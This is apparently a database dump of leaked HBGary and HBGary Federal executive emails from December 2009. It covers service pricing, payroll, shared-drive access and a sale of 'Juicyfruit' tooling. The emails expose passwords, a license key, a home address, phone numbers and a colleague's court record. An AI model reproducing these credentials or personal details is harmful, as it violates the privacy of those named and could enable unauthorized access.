Ted Vera has updated their current title to President | COO at HBGary Federal\r\n                  Send congratulations &#187;\r\n            \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    angela fugate has updated their current title to Sales Manager at Challenger Homes\r\n                  Send congratulations &#187;\r\n            \r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\nis now connected to\r\n            Mary Corrado\r\n,             Lou Brand\r\n             and \r\n            Samuel McLean\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Brandon Colston\r\nis now connected to\r\n            Brad Carman\r\n             and \r\n            Ben Henwood\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ryan Walters\r\nis now connected to\r\n            Patricia Beane\r\n,             Dana Shafie\r\n,             Joe Fluet\r\n,       and 1 other person.\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      U Chicago researcher, with support from Archimedes Palimpsest imaging team: Should we call it the Not-So-Archaic Mark? http://bit.ly/7F8MBB\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Robert Frisbie has uploaded a new profile picture\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Ted Wagner, CISSP, ISSMP, CISM was recommended by\r\ncolleague      Jeremiah Osburn\r\n        Ted\'s experience, professionalism, and leadership pushed us all to be more effective than any other ...\r\n        Read more\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',14106,'aaron_hbgary_com/14106.html'),(727,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000038.M847301P3547Q728.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Retainer for Services doc/template','She said we should use her ratesOn Dec 18, 2009, at 4:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ndid we ever get this to penny?  How about the rates for the other thing?AaronBegin forwarded message:\r\nFrom: &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 15, 2009 1:03:24 PM EST\r\nTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: FW: Retainer for Services doc/template\r\n \r\nWE need this asap\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Friday, December 04, 2009 12:15 PMTo: Penny C. HoglundSubject: Fwd: Retainer for Services doc/template\r\n \r\npricing needed for eTrade---------- Forwarded message ----------\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Wed, Dec 2, 2009 at 10:30 AMSubject: Re: Retainer for Services doc/templateTo: Penny Hoglund &lt;penny@hbgary.com&gt;\r\nCc: Rich Cummings &lt;rich@hbgary.com&gt;, ted@hbgary.com, aaron@hbgary.com\r\nDo we have a description of services and pricing (Federal and Commercial)?\r\n \r\n\r\nService\r\n\r\nSame Day   \r\n\r\n24 Hour  \r\n\r\n3 Day  \r\n\r\nOn-site IR clean up labor level 1\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nOn-Site IR clean up labor level 2\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nOff-site Malware Analysis labor xx hours etc\r\n\r\n \r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\nNumber of Nodes\r\n\r\nCost Per Node – 2 week dissolvable agent\r\n\r\nCost Per Node – 6 week dissolvable agent\r\n\r\nLess than 5,000\r\n\r\n \r\n\r\n \r\n\r\n5000-24,999\r\n\r\n \r\n\r\n \r\n\r\nEtc.\r\n\r\n \r\n\r\n \r\n \r\n \r\nOn Wed, Dec 2, 2009 at 9:51 AM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nHere is what I have for consulting agreements .  The Pro Services agreement\r\n \r\nFrom: Rich Cummings [mailto:rich@hbgary.com] \r\nSent: Wednesday, December 02, 2009 9:32 AMTo: &#39;Penny Hoglund&#39;; ted@hbgary.com; aaron@hbgary.com\r\nCc: &#39;Maria Lucas&#39;Subject: Retainer for Services doc/template\r\n All,\r\n Do any of you have a template or example of a services agreement for customers who would like to purchase HBGary services on retainer?  An example is etrade, they want to have HBGary services on retainer so that *if/when* they have a network intrusion or malware analysis requirement they can pick up the bat-phone and we’ll provide the specified level of support that is agreed upon.\r\n \r\nWe’ve been getting lots of interest in this area and the sales people should have something to provide prospective customers.\r\n Thanks,Rich\r\n \r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',5947,'aaron_hbgary_com/5947.html'),(728,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000038.M92130P3547Q724.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','Re: Conversation','Hey Matt,Bob and I are meeting for lunch in Vienna if your available.AaronOn Dec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Rich told me he spoke with you yesterday, I’d love to have a quick conversation if you have some time today.&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934&nbsp;',10157,'aaron_hbgary_com/10157.html'),(729,'2009-12-18','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000039.M214147P3547Q730.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Conversation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nThanks for the invite, I\r\ncan&#8217;t make it today. Are you around on Monday or Tues next week?\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 18, 2009 6:40 AM\r\nTo: Matt O\'Flynn\r\nCc: Bob Slapnik\r\nSubject: Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nand I are meeting for lunch in Vienna if your available.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich told me he spoke with you yesterday, I&#8217;d love to have a\r\nquick conversation if you have some time today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt O\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16315,'aaron_hbgary_com/16315.html'),(730,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000039.M23464P3547Q729.eml','penny@hbgary.com,penny@hbgary.com','Paycheck','Hi Penny,\r\n\r\nSince we haven\'t submitted the fully executed LLC Operating Agreement\r\nto Nadir, can we still write payroll checks this week? Is there\r\nadequate balance in the account?\r\n\r\nThanks,\r\n\r\nTed\r\n',6555,'aaron_hbgary_com/6555.html'),(731,'2009-12-18','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000039.M406769P3547Q731.eml','aaron@hbgary.com','GCN Story On Enduser IT SecurityTraining','Hi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n',15624,'aaron_hbgary_com/15624.html'),(732,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000039.M595098P3547Q732.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Paycheck','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;\r\nDate: December 18, 2009 11:53:51 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Paycheck\r\nUntil I have the operating agreement I can&#39;t deposit fundsOn Fri, Dec 18, 2009 at 8:47 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI have the temp checks from nadir\r\nOn Dec 18, 2009, at 9:30 AM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:\r\nAngela is working on this today.  Yes I&#39;ll Fedex you a check for youand Aaron.  Let me see if DeeAnn can get this out today\r\nOn Fri, Dec 18, 2009 at 6:11 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Penny,\r\nSince we haven&#39;t submitted the fully executed LLC Operating Agreement\r\nto Nadir, can we still write payroll checks this week? Is there\r\nadequate balance in the account?\r\nThanks,\r\nTed\r\n\r\n--\r\nPenny C. LeavyHBGary, Inc.\r\n-- Penny C. LeavyHBGary, Inc.\r\n',1859,'aaron_hbgary_com/1859.html'),(733,'2009-12-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000039.M779966P3547Q733.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: New Juicyfruit','Agreed.  Lets keep the JF discussions to &#39;qualified&#39; customers.\r\n \r\n-Greg\r\nOn Mon, Dec 14, 2009 at 6:43 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,I think we should slow roll for a little bit giving your new grand juicyfruit and selling it to GD for use.  I want to get a better idea of who their customers are.  I think actually we can get much better play out of it by maybe peddling it ourselves once we get our tickets back.  As I said earlier, GD does not have a lot of penetration in this space and is probably using your great tools to help them grow a market.  If they were willing to sponsor our tickets then maybe a different story but they can&#39;t or won&#39;t do that.  Lets discuss this with a few more people if thats ok with you.  As we mentioned, Xetron has a huge penetration in this space and they are going to try to get us cleared, so maybe worth talking to them about as well.\r\nThoughts?Aaron BarrCEOHBGary Federal Inc.\r\n',15927,'aaron_hbgary_com/15927.html'),(734,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000044.M950040P3547Q734.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Re: Conversation','Hey Matt,I am headed to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get together after the new year.AaronOn Dec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Thanks for the invite, I can’t make it today. Are you around on Monday or Tues next week?&nbsp;Best,Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 18, 2009 6:40 AMTo:&nbsp;Matt O\'FlynnCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: Conversation&nbsp;Hey Matt,&nbsp;Bob and I are meeting for lunch in Vienna if your available.&nbsp;Aaron&nbsp;&nbsp;On Dec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Rich told me he spoke with you yesterday, I’d love to have a quick conversation if you have some time today.&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934&nbsp;&nbsp;',6980,'aaron_hbgary_com/6980.html'),(735,'2009-12-18','matt@hbgary.com','/aaron@hbgary.com/new/1297000045.M405005P3547Q735.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Conversation','Perfect, Happy Holidays! MattSent on the Sprint® Now Network from my BlackBerry®From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 18 Dec 2009 16:25:36 -0500To: Matt O\'Flynn&lt;matt@hbgary.com&gt;Subject: Re: ConversationHey Matt,I am headed to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get together after the new year.AaronOn Dec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Thanks for the invite, I can’t make it today. Are you around on Monday or Tues next week?&nbsp;Best,Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 18, 2009 6:40 AMTo:&nbsp;Matt O\'FlynnCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: Conversation&nbsp;Hey Matt,&nbsp;Bob and I are meeting for lunch in Vienna if your available.&nbsp;Aaron&nbsp;&nbsp;On Dec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:Hey Aaron,&nbsp;Rich told me he spoke with you yesterday, I’d love to have a quick conversation if you have some time today.&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934&nbsp;&nbsp;\r\n',14526,'aaron_hbgary_com/14526.html'),(736,'2009-12-18','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000045.M618756P3547Q736.eml','\"Aaron Barr\" <aaron@hbgary.com>','FEDEX Tracking #','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI sent your check today FEDEX.&nbsp; The tracking Number is 8704\r\n8261 9850.&nbsp; It should arrive in the morning before 10:30.\r\n\r\n&nbsp;\r\n\r\nThanks have a great weekend!!\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15703,'aaron_hbgary_com/15703.html'),(737,'2009-12-18','\"Ted Vera\" <thv31@mac.com>','/aaron@hbgary.com/new/1297000045.M807518P3547Q737.eml','\"Aaron Barr\" <aaron@hbgary.com>','windows 7','Can you mail me that windows 7 DVD?\r\n\r\nOr upload an image of it and the SN/license key so I can install it?\r\n\r\nTed\r\n',12998,'aaron_hbgary_com/12998.html'),(738,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000045.M999322P3547Q738.eml','\"Ted Vera\" <thv31@mac.com>','Re: windows 7','Yeah let me try and upload first tonight.\r\n\r\n From my iPhone\r\n\r\nOn Dec 18, 2009, at 5:12 PM, Ted Vera  wrote:\r\n\r\n> Can you mail me that windows 7 DVD?\r\n>\r\n> Or upload an image of it and the SN/license key so I can install it?\r\n>\r\n> Ted\r\n',12536,'aaron_hbgary_com/12536.html'),(739,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000046.M184761P3547Q739.eml','\"Penny Leavy\" <penny@hbgary.com>','Salary','Hi Penny,\r\n\r\nTed said something about fedexing our paycheck.  Can u please send to:\r\n351 W. Oak St\r\nAviston? IL? 62216\r\nUSA\r\n\r\nThat is where I will be for the holidays starting on Monday.\r\n\r\nThanks,\r\nAaron\r\n\r\n\r\n From my iPhone\r\n',889,'aaron_hbgary_com/889.html'),(740,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000046.M445936P3547Q740.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Salary','Nvm.  Check is on it\'s way.  Thanks\r\n\r\n\r\n From my iPhone\r\n\r\nOn Dec 18, 2009, at 5:41 PM, Aaron Barr  wrote:\r\n\r\n> Hi Penny,\r\n>\r\n> Ted said something about fedexing our paycheck.  Can u please send to:\r\n> 351 W. Oak St\r\n> Aviston? IL? 62216\r\n> USA\r\n>\r\n> That is where I will be for the holidays starting on Monday.\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n>\r\n> From my iPhone\r\n',2586,'aaron_hbgary_com/2586.html'),(741,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000046.M688909P3547Q741.eml','\"Barr Aaron\" <aaron@hbgary.com>','Mentor / Protege','What do you think about participating in the DOD Mentor / Protege program under Xetron?http://www.acq.osd.mil/osbp/mentor_protege/overview/index.htm\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',4425,'aaron_hbgary_com/4425.html'),(742,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000046.M922097P3547Q742.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Mentor / Protege','YesFrom my iPhoneOn Dec 18, 2009, at 5:50 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat do you think about participating in the DOD Mentor / Protege program under Xetron?http://www.acq.osd.mil/osbp/mentor_protege/overview/index.htm\r\n\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',12985,'aaron_hbgary_com/12985.html'),(743,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000047.M161196P3547Q743.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Mentor / Protege','Dude check out an app called background check.  U had a court action in 1991 in Florida.From my iPhoneOn Dec 18, 2009, at 5:50 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat do you think about participating in the DOD Mentor / Protege program under Xetron?http://www.acq.osd.mil/osbp/mentor_protege/overview/index.htm\r\n\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',1174,'aaron_hbgary_com/1174.html'),(744,'2009-12-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000047.M388978P3547Q744.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Mentor / Protege','What was it? 91?On Dec 18, 2009, at 5:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDude check out an app called background check.  U had a court action in 1991 in Florida.From my iPhoneOn Dec 18, 2009, at 5:50 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nWhat do you think about participating in the DOD Mentor / Protege program under Xetron?http://www.acq.osd.mil/osbp/mentor_protege/overview/index.htm\r\n\r\n\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\n',8976,'aaron_hbgary_com/8976.html'),(745,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000047.M623313P3547Q745.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Mentor / Protege','Didn&#39;t say but had a court number.  Download app and search urself.  Only allows 3 searches a week for freeFrom my iPhoneOn Dec 18, 2009, at 8:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat was it? 91?On Dec 18, 2009, at 5:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDude check out an app called background check.  U had a court action in 1991 in Florida.From my iPhoneOn Dec 18, 2009, at 5:50 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nWhat do you think about participating in the DOD Mentor / Protege program under Xetron?http://www.acq.osd.mil/osbp/mentor_protege/overview/index.htm\r\n\r\n\r\n\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\n\r\n',15228,'aaron_hbgary_com/15228.html'),(746,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000047.M889029P3547Q746.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','ok go to:http://idisk.mac.com/adbarr/Public?view=webOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9802,'aaron_hbgary_com/9802.html'),(747,'2009-12-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000048.M133219P3547Q747.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','I don&#39;t see anything there.On Fri, Dec 18, 2009 at 10:31 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nok go to:http://idisk.mac.com/adbarr/Public?view=web\r\nOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;http://idisk.hbgaryfederal.com\r\nusername: aaronpassword:  $mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14342,'aaron_hbgary_com/14342.html'),(748,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000048.M409976P3547Q748.eml','\"Sandy Barr\" <freelybe@hotmail.com>','','http://www.travelandleisure.com/articles/the-tropical-10-the-best-caribbean-resorts/1\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1514,'aaron_hbgary_com/1514.html'),(749,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000048.M704133P3547Q749.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','now I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded.ok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxqAaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;http://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14921,'aaron_hbgary_com/14921.html'),(750,'2009-12-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000048.M996982P3547Q750.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','I can log in fine, but still no files in folder.TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nnow I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\nok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\nAaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\nhttp://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',9810,'aaron_hbgary_com/9810.html'),(751,'2009-12-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000049.M260420P3547Q751.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: shared drive','Now I see it.  I&#39;m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nnow I know why it wasn&#39;t showing...I had the idisk on all the time option and it hadn&#39;t actually uploaded.\r\nok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\nAaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\nhttp://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',10144,'aaron_hbgary_com/10144.html'),(752,'2009-12-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000049.M528369P3547Q752.eml','\"Ted Vera\" <ted@hbgary.com>','Re: shared drive','it may still be uploading on my end so not sure how that will work. &nbsp;Let me check.AaronOn Dec 19, 2009, at 4:29 PM, Ted Vera wrote:Now I see it. &nbsp;I\'m downloading it now.THanks!TedOn Sat, Dec 19, 2009 at 2:25 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nnow I know why it wasn\'t showing...I had the idisk on all the time option and it hadn\'t actually uploaded.\r\nok so in a few go to http://public.me.com/adbarrpassword is malwarecode: kg779-44qp3-2jmf9-f3gxq\r\nAaronOn Dec 17, 2009, at 10:45 PM, Ted Vera wrote:Go --&gt; Connect to Server --&gt;\r\nhttp://idisk.hbgaryfederal.comusername: aaronpassword: &nbsp;$mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, 